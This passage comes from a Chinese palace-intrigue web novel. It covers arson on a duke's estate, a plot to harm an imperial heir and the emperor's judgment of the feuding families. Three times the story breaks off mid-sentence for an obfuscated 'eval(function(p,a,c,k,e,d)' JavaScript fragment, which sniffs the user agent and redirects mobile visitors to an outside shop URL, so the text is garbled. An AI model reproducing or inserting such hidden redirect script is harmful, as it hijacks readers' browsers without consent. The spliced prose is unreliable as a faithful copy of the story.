储秀宫内，冷灯映照着殿宇深处，将雕梁画栋都罩上一层孤寒的幽光。 炭盆里的银丝炭早已燃尽，只余一片灰白的死寂，空气里弥漫着未散尽的药气与清冷的檀香。 贤妃倚在临窗的软榻上，一袭素白的寝衣外随意披着件银灰色暗纹斗篷。 自丧女后，她便对争风吃醋的事歇了心思，此刻只怔怔地望着窗外黑沉沉的夜色，手中无意识地捻着一枚小小的、早已冰凉的银质长命锁——那是她给未出世的孩儿备下的。 外头的热闹，诸如“冯夏联姻”这般在旁人看来石破天惊的消息，传到她耳中，也不过是风过水面的一丝涟漪，左耳进，右耳出，激不起半分心绪。 她全部的魂魄，仿佛都已被那夜撕心裂肺的痛楚与随后滋生的蚀骨疑窦攫住，日夜煎熬。 “主子，宫外有消息回来了。”贴身婢女轻手轻脚地进来禀报，身后跟着储秀宫的掌事太监曹丰。 曹丰躬身趋步至榻前，在昏黄的光晕外停下，垂首道：“回禀娘娘，依太医院小罗递来的线，奴才顺藤摸瓜，查清了季太医近来的行踪。” 他顿了顿，喉结微动，“他盗取宫中药材，确是为了打点冯国公府庄子上的管事，以求…其被拘押的家眷能得些照拂，少受磋磨。” 贤妃捻动长命锁的手指倏然停住，指尖因用力而微微发白。 “咱们的人使了些手段，夜里捆了那庄头细细‘问’过。”曹丰的声音更沉，带着一丝不易察觉的狠厉，“他熬不住刑，吐了实情——季太医的妻儿老小，确是在娘娘生产那夜，被‘请’到庄子上的。” “砰！” 一声闷响，是贤妃手中那枚银锁重重砸在紫檀木的榻几上。 她猛地坐直身体，素白的脸上血色尽褪，唇瓣却反常地泛起一丝激动的嫣红，“父亲……可知道了？” “老爷那边已得了信儿。”曹丰垂着眼，语速平稳却字字清晰，“老爷这几日正为朝中之事憋着一口恶气无处宣泄，一听闻此事，当即……” 他略一停顿，像是在斟酌用词，最终吐出的话语却带着血腥气，“便遣了人，扮作流寇山匪，明火执仗地闯了那庄子，将季太医的家眷悉数抢了出来。为免留下痕迹，撤离时……顺手点了把火。” 他抬眼，瞥了一下窗外呼啸的北风：“今夜刮北风，待到明日清晨，那庄子里的粮仓、药库，乃至连着的国公府别院……想必都已烧成一片白地了。” 贤妃紧抿着唇，胸口因急促的呼吸而微微起伏。 冯国公和皇后此番，只能是哑巴吃黄连。 待到天亮，怕也只能上表朝廷，言称庄子不幸“意外失火”，自认倒霉。 曹丰觑着她的神色，继续低声问道：“老爷让奴才请示娘娘的意思——是否要将那季太医也一并拿下？待明日，便可直指凤仪宫，参皇后一本戕害皇嗣的大罪？” 殿内陷入一片死寂，只有窗外北风刮过殿角铜铃，发出凄厉呜咽般的声响。 良久，贤妃缓缓抬起眼。那双凤眸里，先前的恨意渐渐沉淀下去，化为一片深不见底、令人心悸的幽寒。 “那岂不是……太便宜她了？” 她重新拾起榻几上那枚冰凉的银锁，指尖细细摩挲着上面的“平安”纹路，目光却仿佛穿透了殿墙，投向凤仪宫的方向。 “我也要让她……”她一字一顿，声音轻缓，却蕴含着滔天的怨毒与决绝，“尝一尝，什么叫……钻心之痛。” 30. 惊变 冬日夜长，卯时，天际仅有一线橘青挣扎着透出，驱不散弥漫的沉凝。 夏清圆刚为萧翊系好腰间的蟠龙玉带，殿外便传来吴全顺刻意放轻却难掩急促的脚步声。 他几乎是小跑着进来，拂尘都未来得及摆正，便躬身急禀：“皇上，冯国公府出事了！” 萧翊未避讳夏清圆，示意他继续。 吴全顺稳了稳因疾走而微乱的喘息，字字清楚：“子时三刻，冯国公府京西的皇庄突遭大火。昨夜北风甚烈，火借风势，席卷极快，粮仓、药库、连同紧邻的别院……尽数焚毁，几成白地。” “起火缘由。”萧翊的声音听不出波澜，只眼底深处掠过一丝锐光。 “据逃出的几个佃农所言，是大队流寇趁夜突袭，劫掠钱粮后纵火焚庄，意图毁灭踪迹。”吴全顺将“流寇”二字说得略重。 “流寇？”萧翊冷笑一声，显然是未信，反问：“太平盛世，京畿重地，何处能藏匿成建制、敢袭掠国公皇庄的‘流寇’？” “京兆府作何勘验？” “火势凶猛，又兼风助，扑救不及。待京兆尹率大队人马赶到时，火场余烬灼烫，烟气蔽空，难以即刻深入查探。” 吴全顺顿了顿，补充道，“冯国公昨夜恰宿于别院，受惊不浅，宫门甫开便直奔御前，此刻……正跪候在御书房外阶下，涕泪交加，声声呼唤面圣，状若癫狂。” 侍立一旁的夏清圆，正垂眸为萧翊整理袖口，闻言，动作一顿。 她原以为权贵间的倾轧，多限于朝堂奏章的机锋、言官弹劾的唇枪舌剑、抑或是后宫阴私的算计。 直到此刻，这“流寇纵火”四字，如一道雪亮霹雳，瞬间劈开了她认知的屏障。 她低估了曹家这类盘踞一方的强权之家的反击方式—— 陇西曹氏，其行事底色带着远地豪强特有的狠辣与决绝。 他们解决问题，不会全依赖于朝堂上的唇枪舌剑，更有私下动用武力、快意恩仇的传统。 在这件事上，杀人放火出气，伪装盗匪善后，这才是最符合他们行事逻辑的选择。 曹扣军新遭贬斥，贤妃痛失爱女，这口混杂着争权失利与丧亲之痛的恶气，已在曹氏门阀胸中淤积太久。 季太医这条意外浮出的线索，于他们而言，不啻于一道撕裂绝望阴云的闪电。 劫人、放火、毁迹——整套动作狠辣果决，既是最直接的情绪宣泄，更是向所有动摇或落井下石者掷出的血腥战书：陇西曹氏“虽败未垮”，胆敢挑衅者，纵是一品国公，亦要付出代价！ 这已非简单的报复，而是掺杂着实力展示与心理威慑的复合打击。 退一万步，从现实角度看，一场火烧了冯国公府城外的所有家当，出了恶气；人证在手，又可以上告。 “可有人伤亡？”萧翊的声音将她从纷乱的思绪中拉回。 “火场惨烈，清理出焦骸数具，面目身形俱毁，身份一时难以辨认。” 夏清圆指尖又是一颤，一股寒意顺着脊梁悄然爬上。 不对劲。 冯家遭此巨变，第一反应不是紧闭府门、清理首尾、暗中查探，反而由冯国公亲身、第一时间哭诉于御前？ “皇上。”她适时抬起眼眸，那双惯常含着娇憨或灵动的杏眼里，此刻盛满了真切而不安的神色，“赐婚的恩旨墨迹未干，冯家便突遭如此横祸。臣妾……心中实在惶恐难安，又惦念二小姐的安危。” 她声音渐低，带着一丝隐蔽的恳求，“能否……容臣妾随驾同往？” 萧翊见她焦虑不似伪装，大约是生怕这骤起的风波搅黄了兄长婚事。 他略一沉吟，终是点了点头：“罢了，随朕去吧。” 想起冯国公那副惯常昏聩贪婪的嘴脸，萧翊琢磨着，他此刻入宫，十有八九是要为那烧成白地的田庄库藏哭天抢地，变着法子求补偿、讨恩赏。 心中厌烦顿生，反倒不急了，径自撩袍在膳桌旁坐下，执起银箸：“急也不在这一时。先用早膳。” 夏清圆顺从地退回内室更衣。 借着象牙梳篦划过青丝的细微声响遮掩，她对身后的锦娘道：“传信出去，让你弟弟那边……早做准备。” 锦娘只极其轻微地颔首，将一缕发丝妥帖绾入髻中，一切尽在不言。 与临华宫的这份从容相比，此刻的凤仪宫，已如沸鼎翻腾。 皇后起身，连发髻都没来得及盘，披上大氅就往御书房赶。 临出门，又吩咐道：“郁嬷嬷，你留下，把大皇子接到正殿来，你寸步不离地照看！” “到底怎么回事？庄子上怎么起火了？”皇后连辇都来不及传，带着金忠边走边问，“季太医的家眷呢？都还在吗？” “活不见人，死不见尸。”金忠回道。 “贤妃怎么会突然查到庄子！”秋霜又急又怒，声音都尖了，“咱们不是一直……” “现在追问这些还有何用！”皇后断然截住她的话头，心念却如电光石火般急转——这样大的阵仗，那人证八成已落入曹家手里。 此刻再想封口已是徒劳。当务之急，是要想个法子，让皇上不相信曹家的指控！ “还有一事，”金忠声音压得更沉，“火势蔓延极快，别院‘珊瑚阁’未能幸免……二小姐，殁了。” 冯国公荒唐昏聩，宠妾灭妻，多年来将外室柳氏及其所出之女冯瑚视若珍宝，公然娇养在别院，这份荒唐与偏爱，早已是京城勋贵中的笑谈。 如今一场大火，倒真应了“祸福无门，惟人自召”的老话。 皇后猛地刹住脚步，霍然转身，“冯瑚烧死了？” “昨夜北风狂烈，粮仓、库房堆满干燥之物，皆为引火之媒，火舌窜至别院时，二小姐所居‘珊瑚馆’首当其冲……尸身已不堪辨认，但贴身佩戴的羊脂玉长命锁残片可证身份。” 金忠自袖中取出一枚被烈焰灼烧得乌黑变形、仅余大概轮廓的玉锁，低声道：“发现尸身的几人已封口。如何处置，请娘娘示下。” 皇后闭目，深吸了一口黎明前最凛冽的空气。廊檐上，恰好传来冰棱断裂坠地的清脆响声，在一片死寂中格外刺耳。 那声音，莫名地让她想起了记忆中幼时的某个夏日，冯瑚在国公府花园里打碎琉璃盏的声响——也是这般清脆，带着一种天真而无知的破坏性。 再睁眼时，皇后眸中的惊怒化为一片冰封般的死寂与决绝： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916247|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “皇上昨夜宿在何处？” “临华宫。此刻……想必还未见到国公爷。”秋霜答。 “金忠，你立刻回国公府，” 皇后像是抓住了救命稻草，“找个签了死契的奴才，要机灵、口齿清楚的，带过来。教他说——”她的声音更低，几不可闻，唯有金忠能听清那惊心动魄的寥寥数语。 “奴才明白！必办妥当！” 皇后裹紧大氅，疾步如风，朝御书房奔去。 一脚刚踏进隆福门，余光便瞥见右侧宫墙根下，蜷缩着一团瑟瑟发抖、不住呜咽的黑影。 那人狼狈不堪，锦袍下摆烧焦了一片，脸上满是烟熏火燎的黑灰，被泪水冲出纵横交错的沟壑，花白的胡子也焦卷起来，正是她的父亲，冯国公。 一股混杂着愤怒与失望的郁气直冲顶门。皇后脚步不停，直至那黑影面前，厉声喝道：“起来！” “娘娘……娘娘啊！女儿！我的女儿啊！”冯国公闻声扑过来，哭嚎声在空旷的宫门前显得格外凄厉刺耳。 “你进宫来做什么？！”皇后一把挥开他沾满灰烬的手。 “申冤！我要向皇上申冤啊！”冯国公全然未察其中险恶，还当是流寇作恶。 “哪来的天杀流寇！无法无天！竟敢动到我国公府头上！还有王法吗！皇上……皇上要为老臣做主啊！” 想起冯瑚，他更是涕泗滂沱，捶胸顿足，“我的瑚儿……瑚儿……她都烧成焦……” “你给本宫闭嘴！”皇后只觉一股腥甜冲上喉头，眼前阵阵发黑。 她猛地俯身，几乎是用蛮力将瘫软在地的父亲揪起来，抽出自己的绢帕，毫不留情地狠狠擦去他脸上污浊的泪痕与灰烬。 每一个字都从紧咬的牙关中迸出，压抑着，恶狠狠道：“季太医的家眷被人劫走了！你再这样糊涂嚎丧下去，冯家满门上下，包括宫里昀儿和我，都要背上谋害皇嗣、抄家灭族的大罪！你听懂了没有？！” “什……什么？”冯国公的哭嚎像是被一只无形的手猛然扼住，戛然而止。 他瞪大眼睛，脸上残留的悲愤瞬间被巨大的恐惧冲刷得一干二净，嘴唇哆嗦着，“劫……劫走了？怎…怎么会……不，不会的……” “怎么会？”皇后怒极反笑，“本宫还想问你！你手下养的都是些什么酒囊饭袋？连几个大活人都看不住？现在，曹家捏着这些人，随时可以要我们的命！” “那…那现在怎么办？我…我立刻调人，不，我亲自带人去追！”冯国公彻底慌了神，语无伦次。 皇后用力将他抵在冰冷坚硬的宫墙上，带着孤注一掷的狠绝与不容置疑的威压：“听着！等会儿见了皇上，关于冯瑚，你只能说——她无碍，但面容被烧毁。记住了吗？” “可…可瑚儿明明已经……这是欺君…”冯国公的嘴唇哆嗦着，脸上的肌肉因极度的恐惧和残留的悲痛而扭曲抽搐。 “冯家的活路，现在只系于本宫一人之手！”皇后猛地收紧手指，指甲几乎嵌进他肉里。 “金忠会带‘证人’来。你要做的，就是在皇上面前，当着所有人的面，控告曹家勾结蜀地康王，蓄意谋反！听清楚没有？！这是冯家，求得生机的唯一机会！” 31. 对峙 冬日的晨光熹微，撕开隆福门上空沉滞的阴霾。 日色渐明，夏清圆随萧翊的步辇刚至，便见一道清瘦身影候在门侧风口里。 “臣妾给皇上请安。”德妃福身行礼，裹着一件半旧的鸦青斗篷，未施脂粉的脸上带着病后的苍白，连眼角的细纹都清晰可见。 整个人像一株枯萎的秋棠，与那日在临华宫相见时的爽利明朗大为不同。 “怎么在这里吹风。”萧翊不等辇停稳便疾步上前，极其自然地抬手，替她将松散的领口拢紧。那动作熟稔而关切，全无平日的威仪距离。 夏清圆立在辇旁，眉尖微微蹙起。眼前的景象让她心头掠过一丝陌生的滞涩—— 皇上待德妃的态度，与待她的亲昵随性、待旁人的疏离威严都不同，是一种更平和、更贴近家人般的自然亲近。 “冯国公夜扣宫门的事，臣妾听说了。”德妃目光轻扫过夏清圆，对她微微颔首。转向萧翊时，声音里带着恰到好处的忧切，“心下不安，有些担心皇上，便过来看看。” “此处风凉，先回去。”萧翊竟对她的解释毫无疑虑，甚至追问了一句，“降气丸快用完了吧？朕让吴全顺再给你送。” 夏清圆心中微讶，他日理万机，却连德妃的哮症用药都记得如此清楚。 “谢皇上关怀，还够用。”德妃温声应道，随即退开半步，“皇上朝务繁忙，臣妾告退，不敢多扰。” “晚些朕去看你。”萧翊颔首。 德妃再次福身，便扶着宫女的手，悄无声息地退入尚未散尽的晨雾中，身影很快被宫墙的阴影吞没。 这不过是个短暂插曲，夏清圆却蹙着眉，对德妃此刻出现的用意毫无头绪。 但她敏锐地捕捉到，目送德妃离去后，萧翊再转向御书房方向时，眼底那抹温和迅速褪去，取而代之的，是一种深沉的愠色。 “皇上，进去吧。”她上前半步，轻声提醒，试图从他近在咫尺的侧脸上探寻那情绪变化的根源。 可顺着他凝望的方向看去，只有御书房前汉白玉阶上，一片被践踏得泥泞不堪的残雪。 御书房内，十六盏鎏金蟠枝宫灯燃得通明，将四壁映照得恍如白昼，却驱不散弥漫在空气中的凝重寒气。 刑部、大理寺、京兆尹三司长官垂手肃立，面色俱是谨慎肃然。 皇后端坐在御案左下首特设的紫檀圈椅中，衣着整齐，发髻朴素，唯有搭在扶手上的指尖，因过度用力而透出失血的青白。 夏清圆敛息垂眸，悄步立于萧翊身侧后方三步处，将自己缩进灯影的角落。 “回皇上，贤妃娘娘称病未起。”吴全顺从储秀宫返回，躬身禀报，又趋前两步，压低了嗓音附耳数语，随即从袖中取出一封折叠齐整的信笺，双手奉上。 萧翊展开，目光飞速扫过纸面，摊在桌上。 眉峰一挑，侧首瞥了皇后一眼，唇角竟勾起一丝极淡、极冷的弧度，接着便是一声轻浅的冷哼。 皇后脊背挺得笔直，恍若未觉那目光中的讥诮与寒意，眼睫微颤，却未敢回视。 她深吸一口气，再睁眼时，眸中只剩下破釜沉舟般的决绝。 殿中空地上，冯国公与曹扣军相距丈余而立，一个满身烟灰、发髻散乱，狼狈不堪；一个身着待罪官员的素色常服，面色沉肃。 两人不约而同地紧盯着萧翊手中那页薄纸，眼中俱是灼人的光。 “说说吧。”萧翊将信笺随手置于案上，声音平淡无波，却带着山雨欲来的压迫感，“朕听着。” 冯国公“噗通”一声重重跪倒，额上昨夜磕碰的伤口又渗出血丝，混合着烟灰，显得分外凄惨。“皇上！老臣冤枉！求皇上为老臣做主啊！” 他涕泪横流，声音嘶哑，按照方才皇后教的：“昨夜子时三刻，京西皇庄突遭大队流寇袭击！那帮天杀的贼子黑衣蒙面，手持利刃，见人就砍，见粮就抢！抢空了粮仓药库犹嫌不足，竟丧心病狂，纵火焚庄！” 说到激愤处，他浑身颤抖，从怀中掏出一封边缘焦黄卷曲的信笺，双手高举过头，嗓音陡然拔高，带着哭腔：“这是老臣别院侍卫拼死从贼寇尸身上搜出的！曹扣军这老匹夫！他……他与蜀地康王...暗中勾结！此番纵火焚庄，分明是意图制造京畿混乱，图谋不轨啊皇上！” 信笺经由吴全顺呈至御前。 萧翊并未接手，只垂眸短短一瞥—— 内容无非是“时机将至”、“里应外合”之类的泛泛之辞，用的确是蜀地特产的竹纸，边缘焦痕也做不得假。 他开口，却未质询曹扣军，而是转向冯国公，语气莫测：“只丢了这些？” “什……什么？”冯国公一怔。 “朕问你，”萧翊指尖在案上那张摊开的信纸上轻轻一点，“除了钱粮，可还丢了……别的什么？” “老臣…老臣不明白皇上何意……”冯国公本就心虚气短，被这突兀一问，眼神顿时飘忽起来，额上冷汗涔涔。 皇后心中掐算，金忠带着她安排的人证此刻理应到了宫门外。她强自镇定，接口道：“皇上，臣妾尚有人证，可证明……” “想清楚了再说。”萧翊骤然打断，声音不高，却像一盆冰水浇下。 他转而看向曹扣军：“曹卿，你说。” 曹扣军背脊挺得如松如枪，声音沉浑有力：“陛下明鉴！陇西与蜀地接壤，若臣真有反心，何须舍近求远，跑到京城来，到冯国公家门口给他送把柄？” 他冷笑一声，目光如淬毒的刀刃刮向冯国公，“这等污蔑手段，拙劣至极！分明是有人做贼心虚，狗急跳墙，胡乱攀咬，意图扰乱圣听，混淆黑白！” 皇后脸色倏地一白。 “你——！”冯国公又气又怕，浑身抖得如同秋风中的落叶，嘴唇哆嗦着，却挤不出一句完整的话来。 “狗急跳墙？”萧翊好整以暇地重复，目光在两人之间逡巡，“朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920649|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒不知，你两家竟有如此‘渊源’？” “贤妃娘娘痛失皇嗣，臣悲愤难当，多方查探之下，得知太医院季太医家眷被秘密扣押于冯国公府京西皇庄。”曹扣军话锋一转，语气沉痛而愤慨。 “臣自知有罪。族中确有年轻子弟，激于义愤，行事过激，失了分寸。然则——”他猛地抬头，眼中精光暴涨，直刺冯国公，“若将此定性为‘流寇袭庄’，敢问冯国公，现场可留下一具贼寇尸首？你敢当着陛下的面，以你全族性命起誓，季太医的妻儿老小，从未踏足过你府上皇庄半步？！” 冯国公张了张嘴，下意识瞥向面无人色的皇后，又惶恐地窥探御座上的皇帝。 “老臣……老臣……”他喉头滚动，半晌才挤出几个字，“老臣即便曾请季太医家眷做客，也……也断不能证明老臣谋害皇嗣！” 萧翊指节在紫檀御案上不轻不重地叩击两下，声音不大，却瞬间压下了殿内所有蠢蠢欲动的嘈杂。 “冯国公指曹家勾结藩王，谋逆。”他的声音平静得可怕，一字一句，清晰地在每个人心头砸下，“曹扣军指冯家绑架官眷，谋害皇嗣。” 他缓缓扫过殿中噤若寒蝉的三司长官，目光最终落回殿下二人身上，唇角那点冷意更深：“朕今日便教教你们，如何不和稀泥，也能断个分明。都听好了。” “口说无凭。”他身体微微前倾，目光如鹰隼攫住猎物，“你二人，可有实证？” “人证物证，臣皆具！”曹扣军率先踏前一步，声音洪亮如钟。 吴全顺应声而出，片刻后从殿外引入一对面色惊惶、衣着普通的母子，正是季太医的妻儿。 “陛下！”曹扣军朗声道，“此二人便是被冯家绑架囚禁、险些灭口的季太医家眷！请陛下亲审，以正视听！” 季太医的妻子王氏双膝一软，瘫跪在地，未语泪先流，叩头如捣蒜：“民妇冤枉！皇上明鉴啊！几月前，贤妃娘娘生产那一日，冯家庄子的管事带着一群凶神恶煞的人闯进民妇家中，不由分说便将民妇和孩子掳走，关在京西庄子的秘密地窖里！他们威吓说……说只要季太医乖乖听话，便能保我们母子平安，否则……” “否则如何？”刑部尚书沉声追问。 “否则全家性命不保。”王氏浑身剧颤，畏缩地抬头，目光惊恐地掠过御案旁的皇后，又像被烫到般迅速垂下，声音细若蚊蚋：“说……说让季太医在贤妃娘娘生产时……在汤药里动些手脚……务必让……让胎死腹中……” “嗡——！” 殿内空气仿佛瞬间被抽空，陷入一片死寂。所有目光，或惊骇、或探究、或冰冷，齐刷刷钉在皇后身上。 皇后端坐如塑，搭在扶手上的指尖深深掐进坚硬的紫檀木中，指甲几乎崩裂，沁出丝丝血色。她嘴唇翕动，想说什么，喉咙却像是被一只无形的手死死扼住，发不出半点声响。 只有那挺直的脊梁，在无数道目光的凌迟下，微微颤抖。 32. 取舍 冯国公早已瘫软如泥，伏在地上，连头都不敢抬起。 “此事，”萧翊目光转向曹扣军，声音听不出喜怒，“贤妃可知？” “回皇上，”曹扣军拱手，语气沉痛中带着维护，“自痛失公主后，贤妃娘娘悲伤过度，心力交瘁，缠绵病榻。臣与内子忧心不已，遂借入宫赴宴之机，带了精于妇科的医女其兰入宫，为娘娘请脉调养。谁料竟诊出娘娘脉象有异，似在生产时遭药物所损，伤了根本。” 他再次呈上一份奏折，“此乃医女其兰亲笔所书的脉案证词，详述诊断所见。皇上若存疑，可即刻宣其兰入宫，与太医院存档脉案及季太医当面对质。” 他顿了顿，声音愈发坚定：“查明真相、拿人取证，皆是臣一意孤行所为。贤妃娘娘病体支离，于此事……一概不知。” 一旁魂不守舍的冯国公，听到曹扣军极力为贤妃开脱，浑浊的眼珠忽然动了动，像幡然醒悟。他挣扎着抬起头，目光复杂地望向御座旁的皇后，那眼神里有绝望，有哀求，也有一丝难以言喻的决绝。 “说起季太医……”萧翊指尖在案上轻点，似才想起此人，“朕似乎一直未曾见他。” 他看向曹扣军：“曹卿，季太医此刻，莫非也在你府上做客？” “回皇上，臣本欲寻季太医问个明白，但其人……自事发后便下落不明，遍寻无着。” 萧翊又转向冯国公，语气更淡：“冯国公，季太医这‘贵客’，莫非也被你‘请’到皇庄去了？” 他侧首，目光落在面色惨白的皇后脸上，“皇后，你方才所言的人证，此刻……还要带上来么？” “老臣……老臣……”冯国公喉头滚动，巨大的恐惧几乎将他吞噬。 然而，电光石火间，皇后清晨在殿外那番孤注一掷的叮嘱、大皇子萧昀尚且稚嫩的脸庞、冯国公府百年基业……无数画面在他混乱的脑中疯狂冲撞。 最终，他像是用尽了毕生的力气，猛地以头抢地，发出一声闷响，再抬头时，额上鲜血淋漓，眼中却迸出一种近乎癫狂的决断：“老臣糊涂！老臣罪该万死！这一切……这一切都是郁嬷嬷那贱奴欺上瞒下、搬弄是非！老臣一时猪油蒙心，听信谗言，才犯下大错！老臣……老臣愿倾尽所有家产，不！老臣愿以这条老命相抵！只求皇上开恩！小女冯瑚全然无辜，她现已许配夏家，求皇上……求皇上给她一条生路啊！” 他砰砰叩首，额角鲜血混着灰土，在金砖上洇开刺目的红痕。 皇后浑身剧震，难以置信地瞪大眼睛。他明知冯瑚已葬身火海！为何这样说？ 电光火石间，她恍然明悟——这是断尾求生！他要以自己的性命担下所有罪责，换她皇后之位不倒，换大皇子前程无忧，换冯国公府最后一点恩荫不灭！ 一股混杂着震惊、悲凉、讽刺与无尽酸楚的洪流狠狠撞上她的心口。她僵在原地，仿佛整个人瞬间被拖入冰冷的深渊，连指尖都失去了知觉。 曾几何时，她总觉自己受益于冯国公府的出身，得以母仪天下；却又无时无刻不感到被这个昏聩荒唐的父亲和日渐衰落的家族所拖累，不得不步步为营，殚精竭虑为儿子铺路。 而此刻，在这灭顶之灾前，她竟从这个向来懦弱糊涂的父亲眼中，看到了她一直渴求却从未得到的、近乎本能的——庇护。 只是，一切都太迟了。 她狠狠闭了闭眼，再睁开时，眸中所有情绪已被强行压下，只剩下属于中宫皇后的、无可挑剔的痛心与凛然。她转向冯国公，声音因竭力克制而微微发颤，带着痛心疾首的斥责：“父亲！你……你怎能如此糊涂！如此荒唐！” 随即，她转向萧翊，离座跪倒，以额触地：“皇上容禀！臣妾无能，失察于内，竟不知母家闯下如此滔天大祸，惊扰圣听，动摇宫闱！臣妾……罪该万死！” 萧翊看着她伏地的背影，那挺直了九年的脊梁此刻终于弯折，眼中翻涌过极为复杂的情绪——有对多年夫妻情分的些微失望，更有对权力棋盘上又一枚棋子即将出局的悲凉审视。 良久，他终于缓缓向后，靠入冰冷的龙椅椅背。 伸手，拿起了御案上那张一直被忽略的、来自季太医的信纸，轻轻一掷，那页薄纸便飘飘荡荡，落在皇后面前的金砖地上。 皇后怔忡地抬起泪眼，不解其意，颤抖着手拾起信纸。目光匆匆扫过其上字句，她的瞳孔骤然收缩，浑身的力气仿佛瞬间被抽空，竟再也支撑不住，软软地瘫坐于地，连最后一丝强撑的体面也荡然无存。 那纸上，是季太医事无巨细的请罪陈情与事件回溯。 他早已料到会被灭口，提前写就此书，藏于太医院当值的徒弟处，并嘱托：若自己两日内未曾现身，便立即将此信设法交予御前大太监吴全顺，直呈天子，以求换得家人一线生机。 萧翊的目光缓缓扫过殿下众生相：涕泪血污、几近癫狂的冯国公；满眼不甘、却已知大势难挽的曹扣军；面如死灰、精气神俱散的皇后。 御书房内死寂无声，只有炭火偶尔爆出的噼啪轻响，衬得人心愈发惶然。 终于，他开口，声音不高，却带着金铁交鸣般的决断之力，在空旷的大殿中冷冷回荡： “皇后失察，纵容恶奴，难辞其咎。” 皇后伏地的身躯剧烈一颤。 “即日起，收回中宫印玺，禁足凤仪宫，非诏不得出。”萧翊顿了顿，每一个字都像冰锥砸下，“皇子萧昀，移居庆禧宫，由朕亲自择师教导，无朕旨意，任何人不得擅入探视。” 皇后的脸彻底失去了最后一丝血色，惨白如纸。剥夺印玺、禁足宫中、骨肉分离——这已不仅仅是惩罚，更是将她中宫权威与为母倚仗连根拔起。 “冯国公治家无方，纵奴行凶，谋害皇嗣，攀诬亲王。”萧翊目光如刀，转向冯国公，“着即削去冯国公爵位，褫夺一切恩赏。冯氏全府上下，押入天牢候审。即日抄没家产，充入……” “皇上。” 一道平和却不容忽视的声音，自殿外传来。 太后身着常服，手持沉香佛珠，在肃月嬷嬷的陪同下，步履沉稳地踏入殿中。她目光平静地扫过满殿狼藉，最终落在御座之上。 “皇帝忙于朝政，日理万机，怎好让这些后宅阴私、门户恩怨，闹到御前来，徒惹烦忧，污了圣听？”她语气温和，却一句话便将这涉及皇嗣、勋贵、乃至藩王的惊天大案，轻描淡写地定性为“勋贵家宅不宁”。 “谋害皇嗣、攀诬亲王、动摇国本，”萧翊迎上太后的目光，声音沉稳，却寸步不让，“桩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920650|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩件件，皆非母后口中的家宅小事。” 太后捻动佛珠的动作未停，唇角甚至带着一丝浅淡的笑意：“皇家体面，重于泰山。有些事，刨根问底，伤了和气；动摇国本，得不偿失。皇帝是圣明之君，当知社稷安稳，在于权衡，在于……分寸。” 她目光若有似无地掠过瘫软的皇后，又落回冯国公身上，“冯国公，哀家若没记错，你府上……是有太祖亲赐的丹书铁券？” 早已绝望的冯国公如同溺水之人抓住浮木，浑浊的眼睛骤然迸发出光亮，连连叩首，急声道：“是！是！皇上明鉴！老臣府上确有太祖御赐的丹书铁券！老臣自知罪孽深重，不敢求皇上宽恕！只求皇上看在丹书铁券和冯家祖上侍奉三朝、没有功劳也有苦劳的份上，法外开恩，不要牵连老臣的家人！给冯家……留一条活路啊！” 丹书铁券，免死金牌。太后此刻提及，绝非慈悲，而是看中了冯国公府三代积累的泼天财富，意图分羹。 但太祖御赐之物在上，萧翊即便身为天子，亦不得不暂避锋芒。 他眸色微沉，冷声道：“既如此，刑部即日入府，清查冯氏所有家产田亩，登记造册，暂封府内，留待后议。冯国公押入天牢，待刑部详审后定罪。即日起，冯氏一族，无朕旨意，不得涉足任何政事。” 冯国公瘫软如泥，却仍挣扎着以头触地：“谢……谢皇上恩典……谢太后娘娘恩典……” “曹扣军。”萧翊目光转向另一侧。 曹扣军深吸一口气，挺直背脊。 “纵火行凶，惊扰京畿，触犯国法。削去一切爵禄官职，永世不得叙用。”萧翊声音冷硬，一锤定音。 曹扣军闭上双眼，喉结剧烈滚动，终是缓缓伏下身去，深深叩首：“罪臣……领旨谢恩。” “另外，”萧翊看向太后，唇角勾起一抹意义不明的弧度，语气却颇为恳切，尽显孝心：“冯国公攀诬康王谋反，虽是其罪当诛，然此等污蔑之词，流传出去，恐损康王清誉，更令母后忧心。” 他转而面向刑部尚书，语气陡然转为严令：“将冯国公攀诬康王谋反一节，单独立案，移交刑部，给朕细细地查，彻彻底底地查！务必查个水落石出，公告天下，以正视听，还康王一个清白！莫教无稽流言，扰了太后清静。” 太后捻动佛珠的手指一顿，眼底深处掠过一丝寒意与失措。 好一招以退为进！ 萧翊三言两语，便拿到了一个冠冕堂皇、可大可小的借口，从此可以名正言顺地将手伸向蜀地，伸向康王。无论查多久、查出什么，她和康王都只能“配合”，只能哑巴吃黄连。 这已不是追究冯国公，而是借着此事，公然撕开了一道削藩的口子。 最后，萧翊的目光，越过殿中众人，落在了角落那抹一直静默的绯色身影上。 “婉昭仪。”他忽然开口。 